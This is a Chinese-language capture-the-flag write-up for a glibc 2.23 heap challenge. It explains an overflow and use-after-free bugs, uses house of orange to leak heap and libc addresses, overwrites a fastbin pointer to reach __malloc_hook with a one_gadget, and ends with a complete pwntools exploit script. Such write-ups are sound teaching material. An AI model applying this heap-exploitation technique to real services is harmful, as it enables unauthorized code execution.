漏洞点
一次free和一次show,可以修改超过创建定义的长度多八个字节,存在edit after free 和show after free。题目提示orange,
思路
- house of orange泄露heap地址和libc地址
- 然后edit after free直接修改fd,然后控制得到目标地址malloc_hook,往malloc_hook写onegadget即可
show这里输出不会因为零字节而截至,所以可以一次性泄露heap地址和libc地址
__int64 show()
{
if ( show_1 > 0 )
{
fwrite(ptr, 1uLL, length, stdout);
--show_1;
}
puts("Diary view successful.");
return 0LL;
}
检查
libc2.23 没有检查得到的fastbin中的chunk的size是否对齐,为0x7f也可以得到其中的chunk
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
exp
from pwn import *
p=process("./pwn")
libc=ELF("./libc-2.23.so")
context(log_level="debug")
def add(length,content):
p.sendlineafter(b"Please input your choice:",b"1")
p.sendafter(b"content:",str(length))
p.sendafter(b"Please enter the diary content:\n",content)
def dele():
p.sendlineafter(b"Please input your choice:",b"3")
def edit(length,content):
p.sendlineafter(b"Please input your choice:",b"4")
p.sendafter(b"Please input the length of the diary content:",str(length))
p.sendafter(b"Please enter the diary content:\n",content)
def show():
p.sendlineafter(b"Please input your choice:",b"2")
p.sendlineafter(b"Please tell me your name.\n",b"llk")
add(0x18,"12345678")
edit(0x20,0x18*b"1"+p64(0xfe1))
add(0xff0,"12345678")
add(0x60,"12345678")# 泄露堆地址heap
show()
p.recv(8)
libc.address=(int.from_bytes(p.recv(8),byteorder="little"))-1632-0x1d3c80-0x1f0ea8
print("libc",hex(libc.address))
heap=int.from_bytes(p.recv(8),byteorder="little")
print("heap",hex(heap))
print("malloc_hook",hex(libc.sym['__malloc_hook']))
add(0x60,"12345678")
dele()
payload = p64(libc.sym['__malloc_hook']-0x23)
edit(0x60,payload)
add(0x60,"12345678")
add(0x60,b'a' * 0x13 + p64(libc.address + 0xf03a4))
gdb.attach(p)
pause()
p.sendlineafter(b"Please input your choice:",b"1")
p.sendafter(b"content:",str(0x60))
#最后发生长度就行,不然还是按照add的话会因为after阻塞
p.interactive()